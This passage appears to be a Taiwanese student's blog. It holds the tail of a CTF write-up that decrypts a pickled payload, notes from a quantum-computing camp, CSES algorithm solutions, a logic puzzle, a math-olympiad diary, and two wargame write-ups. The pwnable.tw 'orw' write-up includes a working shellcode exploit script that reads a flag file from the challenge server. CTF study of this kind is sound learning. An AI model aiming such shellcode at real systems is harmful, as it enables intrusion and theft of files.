"\xad\xc7\xd5m\x11\xa1\xdey;\xd2\xc1\xc2\xb5Z\x92,\xd2\xc3\x97@\xff\xf2\x1b\x1c\xce)^\xf8\xda\xd5\x9fod\xef\xb6\xe2\xe4\x9c\x12\xcd%K\x1fF\xb15\xc9\xcb6\xf7\x82\xd6\xc8\xe2J\xaf\xf8\x9a\x97\xbb\x11\xc1?\x9c\xf9\xc3\xf9oK\xa0*\x9b~U\x8b\x9c\x1c\x12\xd7\xf7\xb1\xb4l\xd2\x19Z\xc0b\n\x03\xadEaV\xfe3=f\'\\\x14\x96\xabJ\x90\r\x8c\x14\x16\xfeq\xa52B\xa6>\x9f\x16ib\x83r\x90\x0b\x08\xf2\xf90\x828\x0c\xe8r\xe8\x8eV\x83\xe9EP&\r\\r\xb1\x90w\xc6\'+\x8f\xb9\xcf\x02\xe2\x84d\xb7\xa6\xf5\xc5\xde:\x1d)/\xc9\x91\xc7\x1fY\xe4k\xd6\xb5f}\xd6Y;L$\xc1\xbc]\xe3\x0c\x91\x14&g\x99d\xa3\x96\xcfY\x07y\x9f\x1b"MW\xcb\xdf\xf6mM\xc3s\x19\xd2\x84m\xdb\xe6s\x16\x1a\xb1\xe7|t=\x87\x0b\x19\xf7\x89d\x1d\xb8\xea\x8f\xce\xd7kyZ\xde\x02\x04\x9a\xab{\xc0\xd1\xe8\xfe5\xed]&+\xcf\xd5h\xd8\xf7\xcdn', b'\x0b8\x07\xaa\xb7\xae\x8e\x1f\x98H\xe31\xdd\xbf9\xa7jB\x8b\xc6\x19\xef\xf2<0\x8d\x93U\xd7\xb0V\x01')result0 = _var0

從而得到 cipher、weights、seal。而從 sequence 的計算公式可發現要解密亦依賴於 history 的最近四筆資料。再看一看 payload 發現定義了一個 _WORD，大膽猜測他就是那四筆資料，所以直接把他解密邏輯搬過來：

import hashlibcipher, weights, seal = # 略，把上面從 model.pkl 反編譯出來的參數複製過來即可_WORDS = (b'snow', b'candle', b'tangerine', b'clock')def _stream(key: bytes, size: int) -> bytes:    out = bytearray()    counter = 0    while len(out) < size:        out.extend(hashlib.blake2s(key + counter.to_bytes(2, 'little')).digest())        counter += 1    return bytes(out[:size])sequence = b'|'.join(_WORDS)if hashlib.sha256(sequence).digest() == seal:    key = hashlib.blake2s(weights + sequence + b'inference-cache').digest()    plain = bytes((a ^ b for a, b in zip(cipher, _stream(key, len(cipher)))))    print(plain)

即可得到 Flag：grodno{p@ckl$s_are_so_yUmmy}

基礎量子演算法與應用 | 2026 高中量子計算暑期營筆記

2026-07-19T07:48:53.000Z

前言

會參加這個活動一是因為課程內容看起來就很酷，二是能水一整個禮拜的免費午餐，而且還送書，就是好東西不用錢還反過來送你禮物，這種東西哪裡找對吧！而且還不用考試選拔就能享受XD

~~我都考過物奧了這種課程對我來說應該輕輕鬆鬆(x~~

這次活動附中的特別多，是因為全校都把活動資訊丟在家長群，我比較納悶的是為什麼不直接丟給學生🤔

以下可能有很多地方都沒有寫的很清楚，這是因為這是一篇筆記文而非教學文。

基本的量子力學

古典物理告訴我們的事情

慣性： $\sum\limits{\vec{F}}=0\Leftrightarrow$ 無法區分靜 / 動
帶電 / 磁物體具有加速度會發射電磁波

Bra-Ket

我們會用一個 Hilbert space 裡的向量來表示一個量子態，Hilbert space 表示完備的內積空間。

我們定義以下常用的 basis：

$\begin{aligned}|0\rangle &= \begin{pmatrix} 1 \\ 0 \end{pmatrix}, & |1\rangle &= \begin{pmatrix} 0 \\ 1 \end{pmatrix} \\|+\rangle &= \frac{1}{\sqrt{2}}\left(|0\rangle + |1\rangle\right), & |-\rangle &= \frac{1}{\sqrt{2}}\left(|0\rangle - |1\rangle\right)\end{aligned}$

Bloch Sphere

球座標表示，就這樣。

Stern-Gerlach 實驗

量子力學中非常非常重要的實驗，不同於巨觀世界的直覺，說明量子力學中有疊加態且測量很重要。
我們以向量表示一個量子態，那測量就可以想像成把這個向量投影到測量的方向，能以此簡易的理解實驗結果。

量子力學 4 大公設

以下解釋 Unitary 和 Tensor product 是什麼

Unitary Matrix

矩陣 $U$ 是 Unitary 矩陣表示

$U\cdot U^\dagger = I$

為什麼量子變換都一定是 Unitary 呢？是因為 Unitary 能保正交(因為要機率守恆)，見以下：

$\vert{}\psi'\rangle = U\vert{}\psi\rangle\vert{}\phi'\rangle = U\vert{}\phi\rangle$

$\langle \psi' \vert{} \phi' \rangle = (U\vert{}\psi\rangle)^\dagger (U\vert{}\phi\rangle) = \langle \psi \vert{} U^\dagger U \vert{} \phi \rangle$

為了保內積，我們要求 $U\cdot U^\dagger = I$

Tensor product

去看這篇w 09 張量積(Tensor product) - HackMD

CHSH game

這和貝爾不等式等價，所以上課沒講貝爾不等式講這個。

這個遊戲這樣進行：有一名裁判®和兩名玩家(A, B)，R產生2個古典位元分別傳給 A, B，A, B 收到之後需要個別回傳一個古典位元，a, b。玩家獲勝的條件為 $xy=a\oplus b$ 。過程中 A, B 兩人在遊戲過程中是不能交流的。

古典策略

圖片來源：CHSH game | IBM Quantum Learning

以下表格列出幾個例子

x	y	a	b	xy	$a\oplus b$	Result
0	1	0	1	0	1	Loss
0	1	1	1	0	0	Win
1	1	1	0	1	1	Win

古典策略能做到最好的勝率為 $75\%$ ，作法是 A 和 B 都無論如何回傳 0。

量子策略

勝率 $75\%$ ，看起來不能再高了對吧？但如果量子力學是對的那就不一樣了。A 和 B 可以事先準備一對處於最大疊加態 (Bell State) 的粒子對： $\vert{}\phi\rangle = \frac{1}{\sqrt2}\left(|00\rangle+|11\rangle\right)$ ，然後一人拿一顆。

而玩家 A、B 策略分別為：

玩家A：如果 $x=0$ ，在 Z 方向測量；如果 $x=1$ ，在 X 方向測量
玩家B：如果 $y=0$ ，在 $\frac{(Z+X)}{\sqrt{2}}$ 方向測量；如果 $y=1$ ，在 $\frac{(Z-X)}{\sqrt{2}}$ 方向測量

我們窮舉 $(x,y)$ 的四種可能，可以發現勝率全部都是 $\cos^2(\frac{\pi}{8})\approx 0.85$ ，比古典策略高。

薛丁格方程式

$i\hbar \frac{\partial}{\partial t}\Psi(\mathbf{r},t) = \left[ -\frac{\hbar^2}{2m}\nabla^2 + V(\mathbf{r}) \right]\Psi(\mathbf{r},t)$

猜出方程式

教授：這只有用到高中知識，所以理論上你們都能寫下薛丁格方程式

我上課時沒拍到，所以我是課後問 Gemini 的

薛丁格是怎麼猜出薛丁格方程式的呢？
既然是波，那他也只能長成這樣(至少組成單元是這樣)

$\psi(x,t) = A e^{i(kx - \omega t)}$

從量子力學的能量和物質波公式能得出

$\begin{aligned}E=hf=\hbar\omega & \implies & \omega = \frac{E}{\hbar}\\p=\frac{h}{\lambda}=\hbar k & \implies & k = \frac{p}{\hbar}\end{aligned}$

帶回去，能得到

$\psi(x,t) = A e^{\frac{i}{\hbar}(px - Et)}$

對 $x$ 微分兩次可得

$\frac{\partial^2 \psi}{\partial x^2} = \left(\frac{i}{\hbar}p\right)^2 \psi = -\frac{p^2}{\hbar^2} \psi \implies -\hbar^2 \frac{\partial^2 \psi}{\partial x^2} = p^2\psi$

對 $t$ 微分一次可得

$\frac{\partial \psi}{\partial t} = -\frac{i}{\hbar} E \cdot \psi \implies i\hbar \frac{\partial \psi}{\partial t} = E\psi$

我們將他們代入能量守恆(兩邊同乘 $\psi$ )：

$E\psi = \frac{p^2}{2m}\psi + V(x)\psi$

即可得到

$i\hbar \frac{\partial \psi(x,t)}{\partial t} = \left(-\frac{\hbar^2}{2m} \frac{\partial^2}{\partial x^2} + V(x)\right)\psi(x,t)$

這是一維的，稍加推廣就可以得到上面那個。

量子計算基礎

量子邏輯閘

首先，量子邏輯閘一定是 Unitary 的，常見的量子邏輯閘整理如下：

註：為了銜接，以下用 IBM Quantum Platform 的約定，最右邊為第一個 q bit。

單閘：

Gate	Matrix	Vector
X	$\begin{pmatrix} 0 & 1 \\ 1 & 0 \end{pmatrix}$	$\vert{}0\rangle \rightarrow \vert{}1\rangle \\ \vert{}1\rangle \rightarrow \vert{}0\rangle$
Y	$\begin{pmatrix} 0 & -i \\ i & 0 \end{pmatrix}$	$\vert{}0\rangle \rightarrow i\vert{}1\rangle \\ \vert{}1\rangle \rightarrow -i\vert{}0\rangle$
Z	$\begin{pmatrix} 1 & 0 \\ 0 & -1 \end{pmatrix}$	$\vert{}0\rangle \rightarrow \vert{}0\rangle \\ \vert{}1\rangle \rightarrow -\vert{}1\rangle$
H	$\frac{1}{\sqrt{2}}\begin{pmatrix} 1 & 1 \\ 1 & -1 \end{pmatrix}$	$\vert{}0\rangle \rightarrow \frac{1}{\sqrt{2}}(\vert{}0\rangle + \vert{}1\rangle) \\ \vert{}1\rangle \rightarrow \frac{1}{\sqrt{2}}(\vert{}0\rangle - \vert{}1\rangle)$

雙閘：

Gate	Matrix	Vector	Maze
CNOT	$\begin{pmatrix} 1 & 0 & 0 & 0 \\ 0 & 0 & 0 & 1 \\ 0 & 0 & 1 & 0 \\ 0 & 1 & 0 & 0 \end{pmatrix}$	$\vert{}00\rangle \rightarrow \vert{}00\rangle \\ \vert{}01\rangle \rightarrow \vert{}11\rangle \\ \vert{}10\rangle \rightarrow \vert{}10\rangle \\ \vert{}11\rangle \rightarrow \vert{}01\rangle$
CZ	$\begin{pmatrix} 1 & 0 & 0 & 0 \\ 0 & 1 & 0 & 0 \\ 0 & 0 & 1 & 0 \\ 0 & 0 & 0 & -1 \end{pmatrix}$	$\vert{}00\rangle \rightarrow \vert{}00\rangle \\ \vert{}01\rangle \rightarrow \vert{}01\rangle \\ \vert{}10\rangle \rightarrow \vert{}10\rangle \\ \vert{}11\rangle \rightarrow -\vert{}11\rangle$

AI 好讚，幫我生出這些，難以想像手搓 LaTeX 和那個 Maze 要搞多久

生成 Maze 那幾張圖片的 code

CSES Counting Bits 題解

2026-07-12T02:42:28.000Z

題目

題目見網址：https://cses.fi/problemset/task/1146/
我懶得複製過來了XD
簡單來說就是輸入 $n$ ，要問 $1$ 到 $n$ 中的所有正整數寫成二進位之後總共有幾個 $1$ 。
其實這是排列組合那邊的經典問題，只是數學課我們是直接在十進位算。

解法

憶起高中數學

回想一下高中排列組合的某個問題：

$1$ ~ $999$ 中共有多少個 $9$ ？

有兩種解法，一種是分別算個位數、十位數、百位數有多少 $9$ ，但有另一種比較快的看法(機率觀點)：
我們要找的相當於

$000, 001, 002, 003, \dots, 999$

中 $1$ 的個數，裡面總共有 $3\times1000=3000$ 個「 $0$ ~ $9$ 的數字」，而 $0$ ~ $9$ 出現機率相同，所以所求即為

$3000\times\frac{1}{10}=300$

細說本題

接著就只是十進位轉成二進位而已，我們採取的策略是先找出 $2^k - 1 \leq n$ 的最大的 $k$ ，然後 $1$ ~ $2^k - 1$ 中 $1$ 的數量就是 $k\times2^k\times\frac12$ 。剩下再考慮 $2^k$ ~ $n$ 有多少數字 $1$ 即可。
這樣能快速地把大量數字算完。接著，所以 $2^k$ ~ $n$ 中每個數字的(二進位表示)最高位都是 $1$ ，而且最高位是第 $k+1$ 位，總共有 $n-2^k+1$ 個 $1$ 。再來我們將這幾個數字最高位的 $1$ 都拔掉，我們要再計算剩下的 $1$ 總共有多少。

在繼續說明之前，我們先舉個例子比較清楚，以 $n=14=1110_2$ 為例：
第一步驟解決掉 $1$ ~ $7$ ，共有 $3\times 2^3\times\frac12=12$ 個 $1$
接著我們要找出 $1000_2, 1001_2, 1010_2, 1011_2, 1100_2, 1101_2, 1110_2$ 中所有 $1$ 的數量
首先最高位的 $1$ 有 $14-8+1=7$ 個，將這些首位的 $1$ 拔掉，上面那 $7$ 個數字變成
$000_2, 001_2, 010_2, 011_2, 100_2, 101_2, 110_2$
有沒有發現！這不是一樣的問題嗎？找出 $1$ ~ $110_2$ (也就是 $6$ ) 中 $1$ 的數量！

所以我們可以用上遞迴！不過有遞迴就要有 base case，不難想到這裡的 base case 就是 $n=0$ 時，回傳 $0$

程式碼

#includeusing namespace std;#define ll long longll counting_bits(ll n){    if (n == 0) return 0; // base case    int k = __lg(n);    ll count = 0;    ll m = 1LL << k; // 記得要 1LL 啊！我第一次送的時候漏掉這個所以錯了    count += 1LL * k * (m >> 1);    count += n - m + 1;    count += counting_bits(n - m); // n - m 是把最高位拔掉，列個二進位的直式減法就顯然了    return count;}int main(){    ios::sync_with_stdio(0), cin.tie(0);    ll n;    cin >> n;    cout << counting_bits(n);}

~~笑死 CTF 解太多，文章結尾都很想來個「所以 Flag 就是……」~~

AIS3 好厲駭 - Cloud Security 筆記

2026-06-29T07:14:50.000Z

pwnable.tw - orw Writeup

2026-06-29T04:28:08.000Z

Challenge description

Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.

nc chall.pwnable.tw 10001

I don’t know why Microsoft Defender suggests it’s a virus, lol.
Let’s do it on Kali :)

Inspection

file

┌──(kali㉿kali)-[~/Desktop]└─$ file orw           orw: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped

It is a 32-bit x86 ELF binary.

checksec

┌──(kali㉿kali)-[~/Desktop]└─$ checksec --file=orwRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILEPartial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   74 Symbols        No    0               2               orw

Both NX and PIE are disabled.

seccomp-tools

┌──(kali㉿kali)-[~/Desktop]└─$ seccomp-tools dump ./orw line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

As stated in the challenge description, only the open, read, and write syscalls are allowed.

Decompile

Decompiling the binary with Ghidra gives the following code:

undefined4 main(void){  orw_seccomp();  printf("Give my your shellcode:");  read(0,shellcode,200);  (*(code *)shellcode)();  return 0;}

It simply asks for shellcode and execute it directly. Therefore, all we need to do is construct a valid shellcode.

Solving

We will invoke the open, read, and write syscalls in sequence to print the flag.
Referring to https://x86.syscall.sh, we can see the required arguments the registers used to pass them. You can write the shellcode manually, but I will use pwntools’ built-in function, shellcraft, to keep the task simple. The exploit should be easy to understand:

exploit.py
from pwn import *context.arch = "i386"context.os = "linux"io = remote("chall.pwnable.tw", 10001)sc = asm(        shellcraft.open(b'/home/orw/flag') +        shellcraft.read('eax', 'esp', '0x50') +        shellcraft.write('1', 'esp', '0x50')        )io.sendafter(b'Give my your shellcode:', sc)info(f"The flag is: {io.recvuntil(b'}').decode()}")io.close()

We use the return value (stored in $eax) as the first argument to the read function. This value is the file descriptor of the flag file that we just opened.
We pass 1 to the write function because file descriptor 1 corresponds to stdout.

Run the script and get the flag!

Flag: FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

pwnable.kr - fd Writeup

2026-06-29T03:15:51.000Z

Challenge Description

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)

Solution

fd@ubuntu:~$ lsfd  fd.c  flag  readme

Try to cat the flag, we get “Permission denied”.

So, we inspect the source code of fd.c

fd.c
#include #include #include char buf[32];int main(int argc, char* argv[], char* envp[]){        if(argc<2){                printf("pass argv[1] a number\n");                return 0;        }        int fd = atoi( argv[1] ) - 0x1234;        int len = 0;        len = read(fd, buf, 32);        if(!strcmp("LETMEWIN\n", buf)){                printf("good job :)\n");                setregid(getegid(), getegid());                system("/bin/cat flag");                exit(0);        }        printf("learn about Linux file IO\n");        return 0;}

For reference, atoi converts a string to an integer.

We need to pass in an argument, and the program will subtract it by 0x1234, which is 4660 in decimal.
Next, it treats this value as the file descriptor, then read from that file descriptor.
We know there are three default file descriptors: 0 for standard input (stdin), 1 for standard output (stdout), and 2 for standard error (stderr). The only one whose input we can control is stdin, so we use ./fd 4660 to make fd equal to 0, then enter LETMEWIN.
Here is the output:

fd@ubuntu:~$ ./fd 4660LETMEWINgood job :)Mama! Now_I_understand_what_file_descriptors_are!

Flag: Mama! Now_I_understand_what_file_descriptors_are!

數字狼人殺：一道結合「實話謊話判斷」與「和與積問題」的精彩自編邏輯題

2026-06-24T06:25:21.000Z

甲：乙不知道這兩個數是什麼
丙：我知道這兩個數是什麼了

數字狼人殺

我在升高三暑假某次靈機一動，覺得可以把誰說謊誰誠實，跟我知道你不知道兩種邏輯題結合起來。於是我在數學培訓就開始想，回家後打開Excel去湊數字，搞了好幾天終於設計出了這個魔王題！~~但好像大家都懶得挑戰w~~

題目敘述

小明選取了兩個正整數 $x,y$ ，滿足 $1$ ，他將 $x+y$ 告訴甲、 $xy$ 告訴乙、 $x-y$ 告訴丙。已知甲、乙、丙皆有可能說實話或謊話，但說實話者永遠說實話，說謊話者永遠說謊話，且在開始對話前，甲、乙、丙三人互相對彼此說實話或謊話的情形一無所知。假設甲、乙、丙都是絕頂聰明的，能運用所有現有知識做出盡可能多的推論，現在，他們開始以下對話：

甲：我不知道這兩個數是什麼，但我知道這兩個數中一定有奇數
乙：我不知道這兩個數是什麼
丙：我不知道這個數是什麼，不過甲在說謊
甲：乙不知道這兩個數是什麼
乙：的確，我不知道
丙：甲不知道這兩個數是多少，而且乙在說謊
甲：我不完全知道乙和丙是否說謊的全部實情
乙：我手上的數字( $xy$ )是偶數
丙：我現在知道這兩個數是什麼

(註：三人都是在確認自己說的話一定是實話或謊話才會講，以避免說出不小心說出不符合自己人設的話；另外，要整句話皆為真才是實話)
請問：

(以下2~5題皆承接1.，即假設真正的 $(x,y)$ 即是使 $x+y$ 達最小的那組)

$(x,y)$ 的所有可能為何？使得 $x+y$ 最小的那組 $(x,y)$ 為何？
丙說完他的第二句話後，據甲所知所有他認為有可能的 $(x,y)$ 所組成的最小集合為何？
甲、乙、丙三人知道 $(x,y)$ 確切值的順序為何？分別在何時就知道了？
原對話刪除其中 $k$ 句，且確保三人的邏輯嚴謹與合理，若欲使丙仍能判斷出 $(x,y)$ 的確切數值，試求出 $k$ 的最大值，以及具體刪除哪幾句？

為了以下論述方便，我們使用說話人-全部句數中第幾句對句子進行編號，譬如乙-5為「的確，我不知道」；另外，以T代表說實話者，F代表說謊者；再者，若論述提及「某人不知道」，未註明時均指他「不知道 $x,y$ 兩數的確切數值」。

簡答

點我展開

2026 APMOC 心得

2026-06-19T06:42:30.000Z

為什麼時隔那麼久突然想回來寫APMOC的心得呢？其實我每次參與活動都會想記錄下來，但常常都很懶然後日記就根本沒寫或寫一半，所以就藉著最近剛建Blog想發點東西時順便把它紀錄下來~

初選第一階段

這件事要從我高三報名數奧初選第一階段開始說起，這是我第二次報名數奧初選，考場在建中。在那之前，我已多次前往建中，幾乎每次都是去考試：考科學班、數奧初選、物奧初選、物奧研討、物奧複選，所以對交通應已不陌生。中正紀念堂二號出口出來轉個彎，從南門市場開始一路直走，途經許多店家，再行過一天橋，不用多久便抵達。我國中(有印象以來)第一次抵達建中便感受到一股不凡的氣場，那是一種和建中制服卡其色相似的典雅，令人為之一顫。

下了捷運，循著熟悉的路卻見整修中的二號出口——此路不通，而我是唯一一個發楞的人。時間在手腕上的錶中跳動，我能繼續等待嗎？突然，一個熟悉的身影呼嘯而過，我追趕而上。他是我們班的數學大佬——鼎鼎大名的呂博士。於是我跟隨他自一旁的出口脫困(即使那條其實是遠路)，在我完全陌生的街道奔跑著。

倒數計時，奔跑化為衝刺，最終如兩支標槍射入數學的殿堂。鐘響，時間剛好。
在喘氣和汗流之下寫數學，是名副其實的「酣暢淋漓」，筆尖同呼吸起伏，引領思緒跳動。第一題是課內排列組合，細心些便能拿到。第三題求最大值，我想起專題研究課教的算幾不等式，其中有待定係數的技巧，在與科西不等式搭配使用，最終求出了答案。至此心跳大概也已緩和。剩下的題目便沒那麼順利了，印象中是第二題我觀察了好一陣子，才發現其實考點很簡單。非選一考了離散的證明，我絞盡腦汁地胡言亂語，結合了數學歸納法與歸謬證法(我隨後和同學戲稱此為數學歸謬法)，竟出乎意料拿滿了7分。就這樣，28分，PR97.5，進入第二階段。

11/28/2025
The bell rang, marking the end of a school day. I lazily reached for my phone and saw an email notification pop up on the screen. I opened it without hesitation. It was a message from the Office of Taiwan Mathematical Olympiad, informing me that I had passed the first stage of the competition. Attached to the email were several collections of lecture notes on different topics, including algebra, geometry, number theory, and discrete mathematics. These materials were especially fascinating to me, a math enthusiast.
Frankly speaking, I hadn’t expected to pass the test. Similar to last year, I hadn’t done much practice, and my mindset was simple: participate with no pressure and have fun. I scored 28 out of 49, one more correct answer than last year. To my surprise, my performance was already in the top 3% of all the participants.
Gazing at the screen, a sense of satisfaction began to well up inside me. I knew that luck played a significant role in my success, but still, the experience was truly unforgettable.

喔，因為是高三，我那時在練英文作文

初選第二階段

初選第二階段為五題非選題，考4個小時，橫跨中午，因此有附餐盒(~~耶免費午餐~~)。今年的題目出奇簡單，第一題甚至是高一課內基本題(但就是證明要寫嚴謹)，~~但不知道為什麼附中只有我考過，我甚至是裸考的ㄟ~~(沒關係，我的其他同學有學校推薦資格，啊呂博士是忘記來考)。我最終以總分27，PR89.9錄取APMOC。

我有提早交卷，因為我會寫的都寫完了

APMOC

前一天

在APMOC的前一天，我在IG上認識了一個成功數資的學弟，看頭貼照片以貌取人一下感覺有些好感(I mean, 不是你們想的那個好感，不要誤會)，應該是個不錯的人，並從他的限動得知他也會去APMOC(學校推薦名額)。稍微聊一下覺得挺開心(畢竟我本來就很樂於認識新朋友)，於是，對於明日的APMOC又多了一層期待。

第一天

活動第一天，我早上先和呂博士以及其他朋友前往科教館，為TISF布展，隨後一起去吃午餐，但他們選的那間餐廳太貴了我又不吃那些東西，於是我就在便利商店買了一個椒麻雞麵蹲在路邊吃(不知經過的路人作何感想XD)
13:14 (嗯？)時，學弟傳給我說他到了，我說太早了吧(14:00才開始報到)，他回

對不起啦我坐在學校最靠近門口的小七但我看有幾個人到了（？

然後 I’m like, 你幹嘛對不起啦……這學弟怎麼這麼可愛啦啊啊啊 o((>ω< ))o

見面之後我們交流了一下數學科展、競賽培訓，還有我說好跟他講的初選第二階段第五題的解法(ㄟ他聲音滿好聽的，就是……有點軟綿綿的那種感覺(???))

題外，那題第五題，我們學校另一位數學電神看過題目馬上就抓出題目的Bug然後打了一個非預期解XD

第一堂課是幾何，講位似。這堂課最大的收穫是我終於搞懂九點圓了！！！之前高一數專有教過，~~但我那時後在打瞌睡w~~。
晚餐之後是前國手分享，講一些數奧相關的經驗、文化。比如下面這個

20:00開始搭遊覽車前往師大會館 aka 規格好一點但還是很爛的宿舍。我和呂博士與另一個麗山的人同房，那個麗山的同學是打程式競賽的，他有寫一個有趣的小遊戲(那好像是他專題做的東西？忘了XD)。這天晚上有什麼有趣的事情發生呢？

呂博士帶了選修生物，但他根本沒有要考
就，討論學校課程之類的啊
玩遊戲(要動腦那種，像他寫的那個遊戲)
台灣的地震警報是最可怕的警報聲響
~~爆破鎖碼頻道的密碼(沒爆出來)~~

第二天

我第二天坐在跟昨天一樣的位子。不過學弟跑去坐別的地方了w我的同學則完全坐在另一側。

組合課教鴿籠原理，很多題目在校內培訓都看過，就當複習。接著是一門休閒課程，叫「數學與AI」，我想說這我熟啊，畢竟AI可是我科展的研究器材之一(~~還是說其實是共同作者~~)，其實我現在已經忘記他在講什麼了。

下午數論課講貝爾川假定、柴比雪夫定理。像這種比較偏大學代數數論的東西我就比較喜歡XD其實我一直感覺很神奇，居然能用一些分析學的手段來研究離散的整數，像質數定理這種結論我就覺得很不可思議。緊接著是函數方程的課，但因為我太菜了聽得很吃力，感覺很累。

吃完晚餐(印象中是這天吃披薩？)又是國手分享時間，回答Slido上面的問題，感覺有時出現了一些我聽不懂的應該是IMOC的內梗。

今日的番外是我去廁所的路上看到某個樓梯的燈居然是紫色的，那個地方又很閾限，就把它拍下來了(然後大修圖)

晚上我在遊覽車上和呂博士討論科展的東西，畢竟我們的習性就是賽前才在那邊抱佛腳。

啊不是，我發現我忘記我們這天晚上討論什麼了
總之我記得是有研究出新東西、找到一些新解釋

到會館後不久我跑去709房串房，也就是學弟的那一房。(也是聊得很開心)
然後居然有人曾經是林○家的學生XD

九點多回到616開始挑燈夜戰練科展，搞到非常晚。

第三天

第三天就是累累的起床趕快弄一弄，9:30開始考TMO，當日早餐是麥當勞。
考試前我在走廊上看到了這個

考試因為我也不會寫所以提早交卷了w跑到中庭練科展報告XD還有等學弟出來拍個照。

btw 我沒問他能不能放這照片所以我把他碼掉了😎😈

接著就是趕去科教館啦啊啊啊啊，去被教授電。

笑死，前面寫得好像國文很好，結果後面放飛自我隨興寫

CSES - Counting Divisors 題解

2026-06-11T05:23:35.000Z

我把這題想太複雜了……
弄了個爛解

題目

Time limit: 1.00 s
Memory limit: 512 MB

Given $n$ integers, your task is to report for each integer the number of its divisors.
For example, if $x=18$ , the correct answer is $6$ because its divisors are $1,2,3,6,9,18$ .

Input	Output
The first input line has an integer $n$ : the number of integers.
After this, there are $n$ lines, each containing an integer $x$ .	For each integer, print the number of its divisors.

Constraints

$1 \le n \le 10^5$
$1 \le x \le 10^6$

Example:

Input	Output
3 16 17 18	5 2 6

以下我將我自己的解法和在網路上查到的解法全部整理在以下，並重述/重寫程式。

解法一：暴力的一個一個判斷是不是因數

來源：CSES Problem Set — Counting Divisors 題解 - HackMD

想法：依序判斷 $1$ ~ $x$ 中的數能否整除 $x$
優化：若 $k$ 為 $x$ 的因數，則 $\frac{x}{k}$ 亦為 $x$ 的因數，所以實際上只要檢查到 $\sqrt{n}$ 即可。

AC Code

記得開long long

#includeusing namespace std;#define ll long longll divnum(int x){  int cnt=0;  for(int i=1;i*i<=x;i++){  if(x%i==0){    cnt += 2;  }  if(i*i==x) cnt--; // 這時i=x/i，所以i會被多算一次，故把他扣掉  }  return cnt;}int main(){  ios::sync_with_stdio(0), cin.tie(0);  int n;  cin >> n;  while(n--){  int x;  cin >> x;  cout << divnum(x) << "\n";  }}

複雜度

時間複雜度

跑一次divnum(x)需要 $\Theta(\sqrt{x})$ ，查詢 $n$ 次，設每次的 $x$ 為 $x_1,x_2,\cdots,x_n$ ，則總共的時間複雜度為

$\sum\limits_{i=1}^{n}{\Theta(\sqrt{x_i})}=O(n\sqrt{\max{x_i}})$

空間複雜度

只用了常數個變數，所以空間複雜度是 $\Theta(1)$

解法二：依序把1~N的倍數的因數個數加一

來源：CSES Problem Set — Counting Divisors 題解 - HackMD
想法：維護一個陣列，Index $n$ 表示 $n$ 的因數個數。依以下步驟動態更新陣列內容

將 $1$ 的倍數因數個數都 $+1$
將 $2$ 的倍數因數個數都 $+1$
將 $3$ 的倍數因數個數都 $+1$
將 $4$ 的倍數因數個數都 $+1$

等等，一直到

將 $N$ 的倍數因數個數都 $+1$

AC Code

#include using namespace std;const int N=1e6+1;int divisorCount[N];int main() {  int n, x;  for (int i=1; i<N; i++)    for (int j=i; j < N; j += i)      divisorCount[j] += 1;  cin >> n;  for (int i = 0; i < n; i++) {    cin >> x;    cout << divisorCount[x] << '\n';  }}

複雜度

時間複雜度

填完陣列需要

$\Theta(N\sum_{k=1}^{N}{\frac{1}{k}})=\Theta(N\log{N})$

而查詢需要 $\Theta(n)$ ， $n\leq N$
所以總複雜度為

$\Theta(N\log{N})$

空間複雜度

顯然是 $\Theta(N)$ 。

解法三：建質數表，再用標準分解式求因數個數

這個是我的解法，但很醜。我的想法是先建一個質數表，再看 $x$ 分別被每個質數整除幾次(即 $\nu_p(x)$ )
則所求為

$\prod\limits_{i}(\nu_{p_i}(x)+1)$

如果你不知道為什麼，請去問你高一數學老師

作法

質數表：埃拉托斯特尼篩法

篩質數一個快速又簡單的方法就是我們國一就學過的埃拉托斯特尼篩法
程式碼如下：

#includeusing namespace std;#define ll long longconst int MAX_X = 1e6;bool not_prime[MAX_X + 1] = {1,1};int prime[MAX_X + 1];int cnt = 0;void make_prime_list(){  int N = MAX_X;  for(int i=2;i<=N;i++){    if(!not_prime[i]){      prime[++cnt] = i;      for(int j=2*i;j<=N;j+=i) not_prime[j] = 1;    }  }}bool is_prime(int x){return !not_prime[x];}

其複雜度為 $O(N\log\log N)$ (好像要用到Mertens’ Theorems，所以我不會證)

$\nu_p(x)$

計算 $\nu_p(x)$ 的函式如下：

int v(int p, ll &x){ // v代表\nu  int ans = 0;  while(x%p==0){    x /= p;    ans += 1;  }  return ans;}

之所以用&x是為了讓這個函式能修改外部參數(也就是直接動態修改傳進去的 $x$ 的值)，&x表示傳遞變數x的記憶體地址，而非單純複製其值。
單次執行的時間複雜度為 $O(\log_p(x))$

`divnum`

計算正因數個數

ll divnum(ll x){  if(x==0)return 0;  if(x==1)return 1;  ll ans = 1;  for(int i=1;i<=cnt;i++){    int p = prime[i];    if(1LL*p*p>x)break;    ans *= v(p,x)+1;  }  if(x>1)ans *= (1+1);  return ans;}

